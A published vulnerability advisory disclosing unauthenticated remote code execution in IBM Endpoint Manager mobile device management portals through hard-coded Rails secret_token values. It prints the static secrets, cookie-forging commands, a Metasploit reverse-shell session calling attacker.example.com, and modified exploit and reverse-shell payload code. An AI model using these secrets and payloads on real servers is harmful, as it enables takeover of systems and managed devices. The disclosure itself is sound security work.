Advisory: Unauthenticated Remote Code Execution in IBM Endpoint Manager
Mobile Device Management Components
During a penetration test, RedTeam Pentesting discovered that several
IBM Endpoint Manager Components are based on Ruby on Rails and use
static secret_token values. With these values, attackers can create
valid session cookies containing marshalled objects of their choosing.
This can be leveraged to execute arbitrary code when the Ruby on Rails
application unmarshals the cookie.
Details
=======
Product: IBM Endpoint Manager for Mobile Devices
Affected Components: Enrollment and Apple iOS Management Extender,
Mobile Device Management Self-Service Portal,
Mobile Device Management Admin Portal and
Trusted Service Provider
Affected Versions: All versions prior to 9.0.60100
Fixed Versions: 9.0.60100
Vulnerability Type: Unauthenticated Remote Code Execution
Security Risk: high
Vendor URL: http://www-03.ibm.com/software/products/en/ibmendpmanaformobidevi
http://www-01.ibm.com/support/docview.wss?uid=swg21691701
Vendor Status: fixed version released
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2014-012
Advisory Status: published
CVE: CVE-2014-6140
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6140
Introduction
============
"IBM Endpoint Manager for Mobile Devices provides a completely integrated
approach for managing, securing, and reporting on laptops, desktops,
servers, smartphones, tablets, and even specialty devices such as
point-of-sale terminals. This provides customers with unprecedented
real-time visibility and control over all devices employees use in their
daily job functions; reducing costs, increasing productivity, and
improving compliance."
(from the vendor's homepage)
More Details
============
IBM Endpoint Manager for Mobile Devices is part of the IBM Endpoint
Manager (IEM, formerly Tivoli Endpoint Manager, or TEM) product family.
Several components related to mobile device management can be installed
either on the main TEM Server, or on so-called TEM Relays, and are then
accessible via HTTPS at port 443 of the respective system, such as:
Path Component
/ Enrollment and Apple iOS Management Extender
/ssp/ Mobile Device Management Self-Service Portal
/ap/ Mobile Device Management Admin Portal
/tsp/ Trusted Service Provider
When issuing HTTP requests to any of these paths, the respective server
responds in a manner similar to the following example:
$ curl -skI https://tem.example.com/
HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
X-UA-Compatible: IE=Edge,chrome=1
[...]
Set-Cookie: _mdm_session=BAh7B0kiD3Nlc3Npb25faWQGOgZFRkkiJThjZjZjYTIxNjU
wODg1ODFiMTYxY2FmYTBhNjA0ODM3BjsAVEkiEF9jc3JmX3Rva2VuBjsARkk
iMTQ2S2V3blNnQ1cxeGpaN1hSM0hLMjY1ZUFpT21rbDFvL2RhUk41eDN2OTQ
9BjsARg%3D%3D--e48265ee63dd90381caa92248d27162f67b1ea06;
path=/; secure; HttpOnly
[...]
X-Rack-Cache: miss
Content-Length: 0
Server: Jetty(8.1.14.v20131031)
While the Server header indicates that the web applications are hosted
on a Jetty Java application server, the X-Rack-Cache header and the
cookie format are typically used by Ruby on Rails applications. The
cookie is in fact a Base64 encoded marshalled Ruby object protected by
an HMAC (the hexadecimal value following the two dashes). The cookie
value can be unmarshalled as follows:
$ ruby -e 'puts Marshal.load("BAh7B0kiD3Nlc3Npb25faWQGOgZFRkkiJThjZjZj'\
'YTIxNjUwODg1ODFiMTYxY2FmYTBhNjA0ODM3BjsAVEkiEF9jc3JmX3Rva2VuBjsARkkiM'\
'TQ2S2V3blNnQ1cxeGpaN1hSM0hLMjY1ZUFpT21rbDFvL2RhUk41eDN2OTQ9BjsARg==".'\
'unpack("m0")[0])'
{"session_id"=>"8cf6ca2165088581b161cafa0a604837",
"_csrf_token"=>"46KewnSgCW1xjZ7XR3HK265eAiOmkl1o/daRN5x3v94="}
To create a cookie with a valid HMAC requires knowledge of a secret
stored on the application server. In Ruby on Rails version 3
applications, this value is normally stored in the variable secret_token
that is set in the file config/initializers/secret_token.rb. It is good
practice to generate these values randomly when an application is
installed. The IBM Endpoint Manager components, however, use static
values that are the same across all installations. These values can be
determined by manually inspecting the web application archives (e.g.
ap.war, ios.war, ssp.war, tsp.war) installed into the directory
C:\Program Files\BigFix Enterprise\Management Extender\MDM Provider\webapps
of the respective server. The Enrollment and Apple iOS Management
Extender, for example, is contained in the file ios.war. The archive
contains a Ruby on Rails web application that was compiled to Java class
files. The secret token needed for calculating the HMAC is contained in
the file WEB-INF/config/initializers/secret_token.class:
$ strings WEB-INF/config/initializers/secret_token.class \
| egrep -o '[0-9a-f]{128}'
65c0eb133b2c8481b08b41cfc0969cbdd540f3c1ce0fd66be2d24ffc97d09730d11d53e0
2cac31753721610ad7dc00f6f9942e3825fd4895a4e2805712fa6365
It can be verified that this secret is used for generating the HMAC that
protects the cookie value by using the OpenSSL command line utility to
calculate an HMAC of the aforementioned Base64 encoded data:
$ echo -n 'BAh7B0kiD3Nlc3Npb25faWQGOgZFRkkiJThjZjZjYTIxNjUwODg1ODFiMT'\
'YxY2FmYTBhNjA0ODM3BjsAVEkiEF9jc3JmX3Rva2VuBjsARkkiMTQ2S2V3blNnQ1cxeG'\
'paN1hSM0hLMjY1ZUFpT21rbDFvL2RhUk41eDN2OTQ9BjsARg=='\
| openssl dgst -sha1 -hmac '65c0eb133b2c8481b08b41cfc0969cbdd540f3c1'\
'ce0fd66be2d24ffc97d09730d11d53e02cac31753721610ad7dc00f6f9942e3825fd'\
'4895a4e2805712fa6365'
(stdin)= e48265ee63dd90381caa92248d27162f67b1ea06
The resulting value is identical to the HMAC originally appended to the
cookie. Once the secret is known, arbitrary cookie values can be crafted
and sent to the respective application for further processing. As
demonstrated by Metasploit's rails_secret_deserialization exploit
module[0], this can be leveraged into executing arbitrary code on the
application server (see also Proof of Concept below).
For reference, the following cookie names and secret_token values were
identified for the different web applications:
Enrollment and Apple iOS Management Extender
Path: /
Cookie: _mdm_session
Secret: 65c0eb133b2c8481b08b41cfc0969cbdd540f3c1ce0fd66be2d24ffc97d09730
d11d53e02cac31753721610ad7dc00f6f9942e3825fd4895a4e2805712fa6365
Mobile Device Management Self-Service Portal
Path: /ssp/
Cookie: _self-service-portal_session
Secret: c5f5da7e3ae1baa9a10f4429b5e7c8aec217b3b53851272bd8f533d47acade48
0863a810630039c7987b04ff70c125512e74a998f8a028080c05265a97c747a3
Mobile Device Management Admin Portal
Path: /ap/
Cookie: _admin-portal_session
Secret: 2556dea5fbbd90c4a79202a43bdf9bd4c391c67159d021ea8bc478f29801d024
78acb273c2f425cf487c27669af5dbc3fdaf7f870e23a0a544dee04ab2169220
Trusted Service Provider
Path: /tsp/
Cookie: _trusted-services-provider_session
Secret: b52a3979462299e3a11f6c7c893a980f312fa8e5944fb8fdc74a400c55677aed
ba00ce6df9e2d9ef1525c6ab68a2b6dca9e9ba557c0c6d579a1325ec6338178b
Exploiting the Trusted Service Provider application was not tested, due
to the lack of a properly configured testing environment. However, it is
a Ruby on Rails web application deployed to the Jetty application server
just like the other applications so that it is likely also vulnerable.
This was confirmed by the vendor.
Proof of Concept
================
The following listing shows a sample Metasploit session demonstrating
the execution of arbitrary code through the Enrollment and Apple iOS
Management Extender application:
------------------------------------------------------------------------
msf > use exploit/multi/http/rails_secret_deserialization
msf exploit(rails_secret_deserialization) > set PAYLOAD ruby/shell_reverse_tcp
PAYLOAD => ruby/shell_reverse_tcp
msf exploit(rails_secret_deserialization) > set LHOST attacker.example.com
LHOST => attacker.example.com
msf exploit(rails_secret_deserialization) > set RHOST tem.example.com
RHOST => tem.example.com
msf exploit(rails_secret_deserialization) > set RPORT 443
RPORT => 443
msf exploit(rails_secret_deserialization) > set SSL true
SSL => true
msf exploit(rails_secret_deserialization) > set SSLVERSION TLS1
SSLVERSION => TLS1
msf exploit(rails_secret_deserialization) > set SECRET 65c0eb133b2c8481
b08b41cfc0969cbdd540f3c1ce0fd66be2d24ffc97d09730d11d53e02cac31753721610a
d7dc00f6f9942e3825fd4895a4e2805712fa6365
SECRET => 65c0eb133b2c8481b08b41cfc0969cbdd540f3c1ce0fd66be2d24ffc97d097
30d11d53e02cac31753721610ad7dc00f6f9942e3825fd4895a4e2805712fa6365
msf exploit(rails_secret_deserialization) > set PrependFork false
PrependFork => false
msf exploit(rails_secret_deserialization) > exploit
[*] Started reverse handler on attacker.example.com:4444
[*] Checking for cookie
[*] Adjusting cookie name to _mdm_session
[+] SECRET matches! Sending exploit payload
[*] Sending cookie _mdm_session
[*] Command shell session 1 opened (attacker.example.com:4444
-> tem.example.com:50169) at 2014-08-15 13:37:31 +0200
cmd.exe /c ver
whoami
Microsoft Windows [Version 6.1.7601]
nt authority\system
------------------------------------------------------------------------
The following changes needed to be applied to the Metasploit Framework
to be able to exploit the issue. Most of them were required to address
peculiarities of the Java/JRuby environment, such as the lack of support
for Kernel.fork():
------------------------------------------------------------------------
diff --git a/modules/exploits/multi/http/rails_secret_deserialization.rb b/modules/exploits/multi/http/rails_secret_deserialization.rb
index 7803dd5..e72d8c2 100644
--- a/modules/exploits/multi/http/rails_secret_deserialization.rb
+++ b/modules/exploits/multi/http/rails_secret_deserialization.rb
@@ -141,20 +141,25 @@ class Metasploit3 < Msf::Exploit::Remote
#
- # This stub ensures that the payload runs outside of the Rails process
- # Otherwise, the session can be killed on timeout
+ # This stub tries to ensure that the payload runs outside of the Rails
+ # process Otherwise, the session can be killed on timeout
#
def detached_payload_stub(code)
%Q^
code = '#{ Rex::Text.encode_base64(code) }'.unpack("m0").first
- if RUBY_PLATFORM =~ /mswin|mingw|win32/
- inp = IO.popen("ruby", "wb") rescue nil
- if inp
- inp.write(code)
- inp.close
- end
+ if RUBY_PLATFORM =~ /mswin|mingw|win32/ and inp = (IO.popen("ruby", "wb") rescue nil)
+ inp.write(code)
+ inp.close
else
- Kernel.fork do
+ def _fork
+ begin
+ Kernel.fork
+ rescue NotImplementedError
+ -1
+ end
+ end
+ pid = _fork
+ if 0 == pid or -1 == pid
eval(code)
end
end
@@ -234,7 +239,7 @@ class Metasploit3 < Msf::Exploit::Remote
'method' => datastore['HTTP_METHOD'],
}, 25)
if res && !res.get_cookies.empty?
- match = res.get_cookies.match(/([_A-Za-z0-9]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+); /)
+ match = res.get_cookies.match(/([_A-Za-z0-9-]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+);/)
end
if match
diff --git a/modules/payloads/singles/ruby/shell_reverse_tcp.rb b/modules/payloads/singles/ruby/shell_reverse_tcp.rb
index f17c669..0100929 100644
--- a/modules/payloads/singles/ruby/shell_reverse_tcp.rb
+++ b/modules/payloads/singles/ruby/shell_reverse_tcp.rb
@@ -37,8 +37,31 @@ module Metasploit3
def ruby_string
lhost = datastore['LHOST']
lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
- "require 'socket';c=TCPSocket.new(\"#{lhost}\", #{datastore['LPORT'].to_i});" +
- "$stdin.reopen(c);$stdout.reopen(c);$stderr.reopen(c);$stdin.each_line{|l|l=l.strip;next if l.length==0;" +
- "(IO.popen(l,\"rb\"){|fd| fd.each_line {|o| c.puts(o.strip) }}) rescue nil }"
+ ruby = <<-EOF
+require 'socket'
+c=TCPSocket.new("#{lhost}", #{datastore['LPORT'].to_i})
+def reopen(old, new)
+ begin
+ old.reopen(new)
+ rescue IOError => e
+ new
+ end
+end
+
+$stdin = reopen($stdin, c)
+$stdout = reopen($stdout, c)
+$stderr = reopen($stderr, c)
+$stdin.each_line{ |l| l=l.strip
+
+ next if l.length==0
+
+ (IO.popen(l,"rb") { |fd|
+ fd.each_line { |o|
+ c.puts(o.strip)
+ }
+ }) rescue nil
+}
+ EOF
+ ruby
end
end
------------------------------------------------------------------------
Workaround
==========
It might be possible to binary patch the Java class files to use a
different secret_token value and redeploy the application. This is
untested, however.
Fix
===
Install version 9.0.60100 of the affected software components.
Security Risk
=============
The vulnerability allows unauthenticated remote attackers to execute
arbitrary code with administrative privileges on the affected systems.
It is highly likely that a successful attack on the application server
can also be leveraged into a full compromise of all devices managed
through the product. This constitutes a high risk.
Timeline
========
2014-07-29 Vulnerability identified during a penetration test
2014-08-06 Customer approves disclosure to vendor
2014-08-15 Vendor notified, vendor acknowledges receiving the advisory
2014-09-03 Update requested from vendor
2014-09-05 Vendor promises to respond with more details
2014-09-26 Update requested from vendor
2014-09-30 Vendor promises to respond with more details
2014-10-16 Update requested from vendor
2014-10-16 Vendor responds with CVE-ID, plans release for mid-November
2014-11-06 More definite release schedule requested
2014-11-12 Vendor plans release for last week of November
2014-11-21 Additional details requested from vendor
2014-11-22 Vendor responds with details, postpones release to
mid-December due to issues discovered during quality control
2014-12-01 Vendor announces imminent release
2014-12-01 Vendor releases security bulletin and software upgrade
2014-12-02 Customer approves public disclosure
2014-12-02 Advisory released
References
==========
[0] https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/rails_secret_deserialization.rb
RedTeam Pentesting GmbH
=======================
RedTeam Pentesting offers individual penetration tests, short pentests,
performed by a team of specialised IT-security experts. Hereby, security
weaknesses in company networks or products are uncovered and can be
fixed immediately.
As there are only few experts in this field, RedTeam Pentesting wants to
share its knowledge and enhance the public knowledge with research in
security-related areas. The results are made available as public
security advisories.
More information about RedTeam Pentesting can be found at
https://www.redteam-pentesting.de.
--
RedTeam Pentesting GmbH Tel.: +49 241 510081-0
Dennewartstr. 25-27 Fax : +49 241 510081-99
52068 Aachen https://www.redteam-pentesting.de
Germany Registergericht: Aachen HRB 14004
Geschäftsführer: Patrick Hof, Jens Liebchen
